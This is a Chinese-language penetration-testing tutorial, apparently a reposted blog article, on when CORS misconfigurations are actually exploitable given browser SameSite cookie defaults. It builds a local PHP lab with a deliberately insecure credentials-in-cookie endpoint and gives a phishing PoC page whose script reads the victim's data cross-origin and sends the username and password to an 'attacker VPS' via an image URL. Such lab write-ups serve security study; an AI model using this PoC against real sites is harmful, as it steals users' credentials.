渗透测试 | 如何让CORS攻击变的不那么水?

admin 2025年5月15日09:13:19评论3 views字数 7295阅读24分19秒阅读模式

如何让 CORS 攻击变的不那么水?

  • 前言
  • 环境搭建【a.com】
  • 具体实例
    • 跨域页面搭建【b.com】
    • 跨域问题半解决
    • 跨域问题解决
  • Reference

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

前言

对于CORS漏洞来说大家都不陌生, 通常利用在某敏感接口上, 若某敏感接口允许跨域获取数据, 那么则认为它是存在CORS漏洞的, 但是为什么大家都在说这个漏洞是水洞呢?在如下的演示场景中, a.com为服务端, b.com则要跨域请求a.com来获取数据.

环境搭建【a.com】

为了方便理解, 我们可以选择自己本地搭建环境, 然后复现一下CORS, 看看它"水"又"水"在了哪些地方. 为了观察它的核心机制, 这里选择PHP作为实验环境.

首先创建login.php文件, 并且登陆后让它使用我们自己的COOKIE, 文件内容如下:

<?php
if($_SERVER['REQUEST_METHOD'] == 'GET'){
    $html = <<<HTML
    <form action="" method="POST">
        username: <input type="text" name="username"><br>
        password: <input type="password" name="password"><br>
        <input type="submit">
    </form>
HTML;

echo $html;
else {
    $username = isset($_POST['username']) ? $_POST['username'] : '';
    $password = isset($_POST['password']) ? $_POST['password'] : '';

if($username == 'admin' && $password == 'heihu577'){
        $base64_pass = base64_encode($password);
        header("Set-Cookie: user={$username};"false);
        header("Set-Cookie: pass={$base64_pass};"false);
// setcookie('user', $username);
// setcookie('pass', $base64_pass);
echo'登录成功, 凭证在 COOKIE 中!';
    }else{
echo'账户或密码错误!';
    }
}
?>

这是一个简单的登录接口案例, 登录成功后则设置COOKIE. 存放了用户的账号密码.

为了通用所有语言, 我们尽量在HTTP层理解这件事情, 而并非单纯的PHP语言, 所以使用header函数而不是PHP中的setcookie.

登录接口有了, 那么我们准备一个敏感数据接口, getInfo.php定义如下:

<?php
header('Content-Type: application/json');
$username = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
$password = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : '';

$secretData = new stdClass();
if($username == 'admin' && base64_decode($password) == 'heihu577'){
    $secretData -> code = 200;
    $secretData -> username = $username;
    $secretData -> password = $password;
    $secretData -> info = 'success';
echo json_encode($secretData);
else {
    $secretData -> code = 404;
    $secretData -> info = 'fail';
echo json_encode($secretData);
}

?>

当成功登陆后, 访问该接口结果如下:

渗透测试 | 如何让CORS攻击变的不那么水?

具体实例

跨域页面搭建【b.com】

对于刚刚的getInfo.php文件实际上算是一种敏感接口, 但它不允许跨域, 我们在b.com中准备一个getData.html进行跨域肯定是失败的, 准备代码如下:

<!DOCTYPE html>
<htmllang="en">
<head>
<metacharset="UTF-8">
<metaname="viewport"content="width=device-width, initial-scale=1.0">
<title>getMsg</title>
</head>
<body>
<imgsrc="">
<scriptsrc="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script>
        $.ajax({
type:"GET",
url'http://a.com/getInfo.php'// 设置敏感数据接口
data: {},
xhrFields: {
withCredentialstrue// 设置withCredentials为true, 否则请求过去不携带 COOKIE
            },
crossDomaintrue,
dataType'json',
successfunction(data){
console.log(data); // 打印到控制台中
if(data['info'] == 'success'){
document.getElementsByTagName('img')[0].src = '攻击者VPS/' + data['username'] + '/' + data['password']; // 设置攻击者 VPS, 在访问记录中可看到劫持的数据信息
                }
            }
        });
</script>

</body>
</html>

最终跨域结果如下:

渗透测试 | 如何让CORS攻击变的不那么水?

跨域问题半解决

实际上在各种搜索引擎查询该问题的解决方案, 网上公开的问题 or 跨域漏洞学习相关的资料, 以及询问AI帮助, 通常会给出如下方案: 在a.comgetInfo.php文件中返回如下服务器响应头:

Access-Control-Allow-Methods: GET,POST,PUT,DELETE  //含义: 允许请求过来的方式
Access-Control-Allow-Origin: 值与传递过来的 Origin 一致  // 含义: 允许请求过来的源, 例如 b.com
Access-Control-Allow-Credentials: true  // 含义: 是否允许携带 COOKIE

没错, 出现该问题正是没有设置这三个服务器返回头导致的, 那么我们修改a.com/getInfo.php文件内容如下:

<?php
header('Content-Type: application/json');
$username = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
$password = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : '';

header('Access-Control-Allow-Methods: GET,POST,PUT,DELETE');
header('Access-Control-Allow-Origin: ' . (isset($_SERVER['HTTP_ORIGIN']) ? $_SERVER['HTTP_ORIGIN'] : '*'));
header('Access-Control-Allow-Credentials: true');

$secretData = new stdClass();
if($username == 'admin' && base64_decode($password) == 'heihu577'){
    $secretData -> code = 200;
    $secretData -> username = $username;
    $secretData -> password = $password;
    $secretData -> info = 'success';
echo json_encode($secretData);
else {
    $secretData -> code = 404;
    $secretData -> info = 'fail';
echo json_encode($secretData);
}

?>

最终我们的b.com/getData.html控制台中不再弹出跨域失败的弹窗, 但出现了新的问题, 我们的getData.html并没有获取到服务器端的数据:

渗透测试 | 如何让CORS攻击变的不那么水?

明明已经设置好了服务端的Access-Control-Allow-Credentials: true以及本地jquerywithCredentials: true, 为什么还是会失败?

跨域问题解决

这个问题实际上曾困扰无数网站开发者, 参考: https://yxxme.com/chrome-cookie-samesite/

渗透测试 | 如何让CORS攻击变的不那么水?

当然解决方案文章中说的也特别详细:

渗透测试 | 如何让CORS攻击变的不那么水?

所以现在的问题成功从跨域问题转变为了COOKIE设置问题, 而针对这一问题来讲, Set-Cookie定义如下:

Set-Cookie: <cookie名>=<cookie值>; Domain=<域名>; Path=<路径>; Expires=<过期时间>; Max-Age=<秒数>; Secure; HttpOnly; SameSite=<Strict|Lax|None>

SameSite这三个属性值又是什么含义呢?

渗透测试 | 如何让CORS攻击变的不那么水?

而通常若一个Set-Cookie: 值中并没有说明SameSite是具体值时, 浏览器会默认将其设置为Lax, 这是为了防止CSRF攻击所采用的默认手段, 但是这个限制又和CORS-AJAX产生了什么联系?可以使用如下表格进行说明:

渗透测试 | 如何让CORS攻击变的不那么水?

可以看到AJAX明显也被SameSite所限制了. 这也就是为什么我们CORS漏洞利用失败的原因. 现代浏览器通常默认设置为Lax, 也就防止了CORS漏洞的触发, 所以该漏洞慢慢就被称为水洞了, 那么所有的CORS漏洞都是水洞吗?答案是否定的.

非水洞的 CORS 特征与案例

我们知道的是, 程序员完全可以自定义SameSite的值, 将其设置为None, 但是SameSite设置为None又需要Secure属性为true, 而Secure属性又需要站点必须开启HTTPS, 所以后续可以无视浏览器版本的CORS漏洞特征如下:

  • ACAC 头为 true
  • ACAO 头为请求过来的 Origin 值
  • 该接口存在敏感信息
  • 程序员定义了 SameSite 为 None
  • 程序员定义了 Secure
  • 网站必须使用了 HTTPS(HTTP 设置 Secure 会失效)

这些条件缺少一个则是"水"的CORS, 下面笔者给出一个不"水"的CORS案例, 首先将a.com所使用的协议升级为HTTPS以来满足上述条件其中一点.

并且定义a.com/getInfo.php文件内容如下:

<?php
header('Content-Type: application/json');
$username = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
$password = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : '';

header('Access-Control-Allow-Origin: ' . (isset($_SERVER['HTTP_ORIGIN']) ? $_SERVER['HTTP_ORIGIN'] : '*'));
header('Access-Control-Allow-Credentials: true');

$secretData = new stdClass();
if($username == 'admin' && base64_decode($password) == 'heihu577'){
    $secretData -> code = 200;
    $secretData -> username = $username;
    $secretData -> password = $password;
    $secretData -> info = 'success';
echo json_encode($secretData);
else {
    $secretData -> code = 404;
    $secretData -> info = 'fail';
echo json_encode($secretData);
}

?>

该文件满足3点, ACAO & ACAC & 敏感数据三个条件, 而修改a.com/login.php的登录逻辑如下:

<?php
if($_SERVER['REQUEST_METHOD'] == 'GET'){
    $html = <<<HTML
    <form action="" method="POST">
        username: <input type="text" name="username"><br>
        password: <input type="password" name="password"><br>
        <input type="submit">
    </form>
HTML;

echo $html;
else {
    $username = isset($_POST['username']) ? $_POST['username'] : '';
    $password = isset($_POST['password']) ? $_POST['password'] : '';

if($username == 'admin' && $password == 'heihu577'){
        $base64_pass = base64_encode($password);
        header("Set-Cookie: user={$username}; HttpOnly; Secure; SameSite=None;"false);
        header("Set-Cookie: pass={$base64_pass}; HttpOnly; Secure; SameSite=None;"false);
// setcookie('user', $username);
// setcookie('pass', $base64_pass);
echo'登录成功, 凭证在 COOKIE 中!';
    }else{
echo'账户或密码错误!';
    }
}
?>

该登录逻辑所生成的COOKIE满足Secure & SameSite=None, 那么攻击者编写钓鱼POC如下:

<!DOCTYPE html>
<htmllang="en">
<head>
<metacharset="UTF-8">
<metaname="viewport"content="width=device-width, initial-scale=1.0">
<title>getMsg</title>
</head>
<body>
<imgsrc="">
<scriptsrc="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script>
        $.ajax({
type:"GET",
url'https://a.com/getInfo.php'// 设置敏感数据接口
data: {},
xhrFields: {
withCredentialstrue// 设置withCredentials为true, 否则请求过去不携带 COOKIE
            },
crossDomaintrue,
dataType'json',
successfunction(data){
console.log(data);
if(data['info'] == 'success'){
document.getElementsByTagName('img')[0].src = 'http://127.0.0.1:8000/' + data['username'] + '/' + data['password']; // 设置攻击者 VPS, 在访问记录中可看到劫持的数据信息
                }
            }
        });
</script>

</body>
</html>

并放置在http://127.0.0.1:8000/ (假设为攻击者的 VPS)中, 随后登录a.com/login.php后, 访问攻击者放置的上述HTML文件, 结果如下:

渗透测试 | 如何让CORS攻击变的不那么水?

Chorme浏览器中, 完全复现, 至于Firefox, 虽然COOKIE设置的也都对了, 但就是不发送请求, 如下:

渗透测试 | 如何让CORS攻击变的不那么水?

所以对具体的浏览器也有些许限制.

Reference

https://blog.csdn.net/weixin_45862170/article/details/121182961

https://zhuanlan.zhihu.com/p/478942215

https://zhuanlan.zhihu.com/p/593350970

https://yxxme.com/chrome-cookie-samesite/

https://segmentfault.com/q/1010000042274481

https://cloud.tencent.com/developer/article/2218923

原文始发于微信公众号(Heihu Share):渗透测试 | 如何让CORS攻击变的不那么水?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日09:13:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试 | 如何让CORS攻击变的不那么水?https://cn-sec.com/archives/4065758.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息